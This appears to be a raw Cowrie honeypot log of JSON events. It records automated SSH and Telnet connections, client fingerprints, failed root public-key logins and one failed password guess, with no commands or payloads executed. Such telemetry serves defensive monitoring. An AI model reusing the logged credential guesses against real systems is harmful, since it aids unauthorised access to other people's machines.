{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eHQ7S64HoPiSS+h8/ojf+sxroSp9zkM/WglyL/nmQUPFaR5Z7mCrhT9eRUY0djwOb2N3alckAsl0XTZkZCbNakayXdnMpSiPmgFciM5wuKQVJPzbvp0sdTOo+KzkLCyA6eUN6SMikX77vGtPbODmUNwZln2wwdOWNJt57Lhk1VCgy7pNuCYDR8dt/7enBpnK9JKsmv2G08Wbdzb2hqCRvpAG8eqaA8lLtVvVvoAkL9Cwhl5hd9qOjB0XND0vzVZE3l2f3l1nV3QGFgOXleL64Fn3Gl3vySBCKftGSUyL1cF0xzH4xynJEJuMLXyeMlVGw+VGZ5KF1iP2g/oGFdbX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.798650Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKw36oINkTfCVUUMxgLsKNggOYNCINBxSrQsmT751SwLHsRslHVURjFiPC9UZ9lCvBkhBGdc++ZiCf/m0F2HctaIolyp00aSb1gHRlQJa2ZJhhqZv0Gy0FITgZYnsm9Lrz3iZ0htjPdP+9dZfa319W6da1M6dl+sEfBT+2nytAyuoZisUUKPOmSEiB1LntlGfhU5ONN5vtj7g2+MLMc5YdGU221m3Jgx/uagCSb+sVD084qN1J/gonvYpunxoCOj8c52GowkIRM255m7CvBYHTDLsuzjw3Pa7w3g0Kl5gPfVtXg/4Xd+LIh6656QA91TtymDkUrPa+zu9ksWGKz7+j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.844730Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKw36oINkTfCVUUMxgLsKNggOYNCINBxSrQsmT751SwLHsRslHVURjFiPC9UZ9lCvBkhBGdc++ZiCf/m0F2HctaIolyp00aSb1gHRlQJa2ZJhhqZv0Gy0FITgZYnsm9Lrz3iZ0htjPdP+9dZfa319W6da1M6dl+sEfBT+2nytAyuoZisUUKPOmSEiB1LntlGfhU5ONN5vtj7g2+MLMc5YdGU221m3Jgx/uagCSb+sVD084qN1J/gonvYpunxoCOj8c52GowkIRM255m7CvBYHTDLsuzjw3Pa7w3g0Kl5gPfVtXg/4Xd+LIh6656QA91TtymDkUrPa+zu9ksWGKz7+j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.848128Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jCUMfH0GrA4JIEUp0PN2n+48huasjrpnV+Qo32eB+iWnm0++LwEqyyZI7kgxt7CVF6sH4Qsi4e1OByAn3SklEg8hN5hfO1X6zS5hpH6S3S0yGoXZVJ4GloNmaaebt2Nxy1adQpar6BnWuw4q2evqtFEO1h81kvTeUZNu7VY6O1uOSM8n7euPU/O+FeBEsSPKJrqBGyS1rv250vj+cDd3CTQeLF+hxd5yOoY7CoS+DFK0F3T4JXKXuOSv+ZLR9eHg9MD2qH1eubEPTRttT7n25XMea+jRffhgtxjsUDYLD++s0Rqd3oAAM9QggHoqWkm/aegqcVB2RJ/avOpr9jNxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.892277Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jCUMfH0GrA4JIEUp0PN2n+48huasjrpnV+Qo32eB+iWnm0++LwEqyyZI7kgxt7CVF6sH4Qsi4e1OByAn3SklEg8hN5hfO1X6zS5hpH6S3S0yGoXZVJ4GloNmaaebt2Nxy1adQpar6BnWuw4q2evqtFEO1h81kvTeUZNu7VY6O1uOSM8n7euPU/O+FeBEsSPKJrqBGyS1rv250vj+cDd3CTQeLF+hxd5yOoY7CoS+DFK0F3T4JXKXuOSv+ZLR9eHg9MD2qH1eubEPTRttT7n25XMea+jRffhgtxjsUDYLD++s0Rqd3oAAM9QggHoqWkm/aegqcVB2RJ/avOpr9jNxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.894809Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAludpQYxUtZcv7Mn4jfx+LCSWIQEWpH7FhZWmj8B2+w+1uAL4Sd4CwcqmWaRO1F83tz3uM9Jx7vCPq32dfZZEA+xFsOO6hz5GZSxkg7RpmlxuQn8+SUEu2aOI9aseCVNr7ePtfekoYfbtJAds/+bqrRLiXn30OKQvc5bZJbEuErjwgUZJhHyVKvSBSzbcMcWVlzbFL6T9gO1woMvVFCdy9M7rfFm39fSZgNSkoQnaPUsgdB6Q9tIqsTPO8f01riqazPy2m/KLG5/VEXxHPPigrzxtAHu3cZYHbQlvuINqpmMIXXLdM5Iby5Wc2cONO/FUUCMrHyOU4V0+uIQIu9VZDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.937718Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAludpQYxUtZcv7Mn4jfx+LCSWIQEWpH7FhZWmj8B2+w+1uAL4Sd4CwcqmWaRO1F83tz3uM9Jx7vCPq32dfZZEA+xFsOO6hz5GZSxkg7RpmlxuQn8+SUEu2aOI9aseCVNr7ePtfekoYfbtJAds/+bqrRLiXn30OKQvc5bZJbEuErjwgUZJhHyVKvSBSzbcMcWVlzbFL6T9gO1woMvVFCdy9M7rfFm39fSZgNSkoQnaPUsgdB6Q9tIqsTPO8f01riqazPy2m/KLG5/VEXxHPPigrzxtAHu3cZYHbQlvuINqpmMIXXLdM5Iby5Wc2cONO/FUUCMrHyOU4V0+uIQIu9VZDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.940782Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe8j/qTTS8VtRp9Z7rj1A78W46iTEjBpHhxVol4fjcZ4FJNugVNMUa4X6VGFxuqgyP8CzSXFj8uX1wTif1k6IbxSczU0wVz7AQnQ7+QIcHp4Qpy85qgKPCZbw4GJoBePKZY0womU17osNZe0efeO8ENrzmOxa7xb68QrOGv6pa3HqGY5e5fdMQMwSfZ858jMSbue9Lqe6YJljCxiATFCxCP9Q+KxWGYvJOmkilq9Zi7+1YkEAlZWnYJ4kAM0BFrjiV7WM5MM+TfHIFJiSW8FXX1HZFbx/LQjIeJkHA7OYMHWgSh0pUvjtiuf0Kot7urG2NfzerEqjgNVJv8LM/BDBJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.984680Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe8j/qTTS8VtRp9Z7rj1A78W46iTEjBpHhxVol4fjcZ4FJNugVNMUa4X6VGFxuqgyP8CzSXFj8uX1wTif1k6IbxSczU0wVz7AQnQ7+QIcHp4Qpy85qgKPCZbw4GJoBePKZY0womU17osNZe0efeO8ENrzmOxa7xb68QrOGv6pa3HqGY5e5fdMQMwSfZ858jMSbue9Lqe6YJljCxiATFCxCP9Q+KxWGYvJOmkilq9Zi7+1YkEAlZWnYJ4kAM0BFrjiV7WM5MM+TfHIFJiSW8FXX1HZFbx/LQjIeJkHA7OYMHWgSh0pUvjtiuf0Kot7urG2NfzerEqjgNVJv8LM/BDBJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:13.005070Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:13.049450Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":37018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c1c758950f1","protocol":"telnet","message":"New connection: 199.103.57.63:37018 (159.203.135.109:23) [session: 0c1c758950f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:36.033785Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":11304,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f13e2da220f","protocol":"ssh","message":"New connection: 141.11.21.145:11304 (159.203.135.109:22) [session: 4f13e2da220f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:38.698627Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:38.783255Z","src_ip":"141.11.21.145","session":"4f13e2da220f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":11314,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2f8a77ee95","protocol":"ssh","message":"New connection: 141.11.21.145:11314 (159.203.135.109:22) [session: 2f2f8a77ee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:38.857609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:38.863003Z","src_ip":"141.11.21.145","session":"2f2f8a77ee95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:38.941845Z","src_ip":"141.11.21.145","session":"2f2f8a77ee95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qwe","message":"login attempt [root/123!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:39.191972Z","src_ip":"141.11.21.145","session":"2f2f8a77ee95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:30:40.273401Z","src_ip":"141.11.21.145","session":"2f2f8a77ee95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.990893602371216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:31:11.024543Z","src_ip":"199.103.57.63","session":"0c1c758950f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":53648,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b48891a948","protocol":"ssh","message":"New connection: 193.70.122.120:53648 (10.17.0.5:22) [session: 68b48891a948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:07.623175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:07.632052Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:07.708590Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ce:79:42:70:c2:2d:a0:82:ac:08:54:75:91:f3:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXDTMALaY0nzNCbuQZR4lUo/hVpG6r6ZWHLLK/HtL6La6ihHlfIMKAkA01OAbAjRnTOCtRp1mbHZwT25HT2hmbyBcLOUB9s8ifoMKj9muQJPRXNv5U+awCaycN+z2pi9SZnRRkKGGVfTxE7ji7E+QXNw1vOLwhSHn9iPaQkQG0/6OInMvc5sLqdGKISPKJu0/YmTOftz5K0KN17OztBZx38wKbaMxgFcut4WMQ2x1o497pwp4U4S5U9IEf8f0pG5Qt0rqIsPvpTzkvm+7XgEChCXeUs63yXVv7u1v8MSkH179dr1GxqoW3R4hxtHIRTjIQlO23g5bYg/k6rUZmCWhz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ce:79:42:70:c2:2d:a0:82:ac:08:54:75:91:f3:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.073373Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ce:79:42:70:c2:2d:a0:82:ac:08:54:75:91:f3:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXDTMALaY0nzNCbuQZR4lUo/hVpG6r6ZWHLLK/HtL6La6ihHlfIMKAkA01OAbAjRnTOCtRp1mbHZwT25HT2hmbyBcLOUB9s8ifoMKj9muQJPRXNv5U+awCaycN+z2pi9SZnRRkKGGVfTxE7ji7E+QXNw1vOLwhSHn9iPaQkQG0/6OInMvc5sLqdGKISPKJu0/YmTOftz5K0KN17OztBZx38wKbaMxgFcut4WMQ2x1o497pwp4U4S5U9IEf8f0pG5Qt0rqIsPvpTzkvm+7XgEChCXeUs63yXVv7u1v8MSkH179dr1GxqoW3R4hxtHIRTjIQlO23g5bYg/k6rUZmCWhz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.077296Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:43:00:d0:c2:fb:34:f0:18:40:e7:2d:c2:af:16:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsqO4pSW+jVjMbT24nMg/NyWNE9/wSUV06UF/oaXgTjJYo4q7eMwf93ecLCdTgT60itK4aEjd2ug0nmseFnKwyxbizMIJb6IjCOmi7pJVuoeEUiEVaDh+hVLuuKFR29k38DjJrvvpFR6tkULyppwnEgD7gIxkrIbGxFmMt6daON8RbBFJkPQVDdje39takbryDgKoZwuY0d0ndiyVOOv4BSvwX0RzzEPkSLfz/asmKIf5ef2Ht/DkDNanlNQAjZcxRhRQxkqTQDZr1gMN27mg2ovPFYMEHp8qNNY7pOJv7HQWxOo/6HH8ntRAvRkH+WXv8EXb0yVvIvl9RLQiD+TvU+qPjpep5MPcuxneEBCYv0GPjhMuzd9tzmu/tqmONVWysoJjDFC2k0bTx2JHcWZt9tkOZIWAiWWROvak3hHeWBvDnT5zTRdAZQVHfSPscQ5Mu6bGBQQt4oWCxPqw0JjNLUxBggtp32xdyM3zHF9jbfCECZuHF9//t1DpsvUNTW0YCnRtc2tS2DMfbYNgUXCDC87ZkrkGZ9NhJoSJPXVql9f/7EQH9R1uoHvF5sHEeFI0xYUO6R1+Vkk/m2kK/E624W0/so2st7wp1p8NWb8RJ5Ohkt8KEa48c9D0LTj3LjY0o7lcGivsdXmWEVyU6erVDx/gg5Pkrsbz6Ct06o453Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:43:00:d0:c2:fb:34:f0:18:40:e7:2d:c2:af:16:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.155632Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:43:00:d0:c2:fb:34:f0:18:40:e7:2d:c2:af:16:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsqO4pSW+jVjMbT24nMg/NyWNE9/wSUV06UF/oaXgTjJYo4q7eMwf93ecLCdTgT60itK4aEjd2ug0nmseFnKwyxbizMIJb6IjCOmi7pJVuoeEUiEVaDh+hVLuuKFR29k38DjJrvvpFR6tkULyppwnEgD7gIxkrIbGxFmMt6daON8RbBFJkPQVDdje39takbryDgKoZwuY0d0ndiyVOOv4BSvwX0RzzEPkSLfz/asmKIf5ef2Ht/DkDNanlNQAjZcxRhRQxkqTQDZr1gMN27mg2ovPFYMEHp8qNNY7pOJv7HQWxOo/6HH8ntRAvRkH+WXv8EXb0yVvIvl9RLQiD+TvU+qPjpep5MPcuxneEBCYv0GPjhMuzd9tzmu/tqmONVWysoJjDFC2k0bTx2JHcWZt9tkOZIWAiWWROvak3hHeWBvDnT5zTRdAZQVHfSPscQ5Mu6bGBQQt4oWCxPqw0JjNLUxBggtp32xdyM3zHF9jbfCECZuHF9//t1DpsvUNTW0YCnRtc2tS2DMfbYNgUXCDC87ZkrkGZ9NhJoSJPXVql9f/7EQH9R1uoHvF5sHEeFI0xYUO6R1+Vkk/m2kK/E624W0/so2st7wp1p8NWb8RJ5Ohkt8KEa48c9D0LTj3LjY0o7lcGivsdXmWEVyU6erVDx/gg5Pkrsbz6Ct06o453Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.159837Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:c0:47:11:d2:c6:8e:0a:de:9c:ab:2f:52:94:83:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbKu/By3tzjKPy1/5VZVq9PTOH7vRhHGTnsh1PkrCZFEnyFrhjPw2Uh6rMzcCOeENMQUGtCw7oW9IuxD0Hf/wH4W6T1ekMQ7PoDjsPWGbdMeTE1tvM7IILFJxRWZkr3ZQRUVl5pYWFtYNTxPI2p3K28JaVzCUgO0hfWbflOoRVuhoRCeS3EdZijbeTR+qUKSERg73m4KUWLlakQlE/QZRxwx7u4YeZghChS4FJaiokVgNXuxiIocg5UtNjESF6BWzgu5gpz1tZzwUhIxh33TLYO/71YA5UnNht5y7Hxo+AlwCHuW64+jcByuNHxHyyl/Tz/4mN5mIUXZ8GKSrfaXeXBFY+T1km1FsWXCtDvLdIqVOcezC+bFeH7jpp1EGPc09uIxsMvetoOA7nigeFhFuzZ6cF5DfmluVMF4g4czGom77U7soayJ4BkfnFRmCntUoluWULnMdvQNUmL3iwqi0msSPxHJIm5EGVYhVhUftg1385dKiqoNyTmCSvHbCU6AoFHLMzkUAVveA6KRFyQ1Fa0plRx+Yyrs9v1Ye1P6QqbrpcNgP59L0eCYaUMGXdbP3IhJ4B4i0DgtNyStPxEH9VtbM3cAkWCx7Yg4/j9Dbqy0D6IrAgHTAXQe0tuQ/YhFu1dzmEIa+t0P5gmPgTYFQsiIQ2xeMqknMsqv4Jq6C+Qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:c0:47:11:d2:c6:8e:0a:de:9c:ab:2f:52:94:83:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.238136Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:c0:47:11:d2:c6:8e:0a:de:9c:ab:2f:52:94:83:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbKu/By3tzjKPy1/5VZVq9PTOH7vRhHGTnsh1PkrCZFEnyFrhjPw2Uh6rMzcCOeENMQUGtCw7oW9IuxD0Hf/wH4W6T1ekMQ7PoDjsPWGbdMeTE1tvM7IILFJxRWZkr3ZQRUVl5pYWFtYNTxPI2p3K28JaVzCUgO0hfWbflOoRVuhoRCeS3EdZijbeTR+qUKSERg73m4KUWLlakQlE/QZRxwx7u4YeZghChS4FJaiokVgNXuxiIocg5UtNjESF6BWzgu5gpz1tZzwUhIxh33TLYO/71YA5UnNht5y7Hxo+AlwCHuW64+jcByuNHxHyyl/Tz/4mN5mIUXZ8GKSrfaXeXBFY+T1km1FsWXCtDvLdIqVOcezC+bFeH7jpp1EGPc09uIxsMvetoOA7nigeFhFuzZ6cF5DfmluVMF4g4czGom77U7soayJ4BkfnFRmCntUoluWULnMdvQNUmL3iwqi0msSPxHJIm5EGVYhVhUftg1385dKiqoNyTmCSvHbCU6AoFHLMzkUAVveA6KRFyQ1Fa0plRx+Yyrs9v1Ye1P6QqbrpcNgP59L0eCYaUMGXdbP3IhJ4B4i0DgtNyStPxEH9VtbM3cAkWCx7Yg4/j9Dbqy0D6IrAgHTAXQe0tuQ/YhFu1dzmEIa+t0P5gmPgTYFQsiIQ2xeMqknMsqv4Jq6C+Qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.241851Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
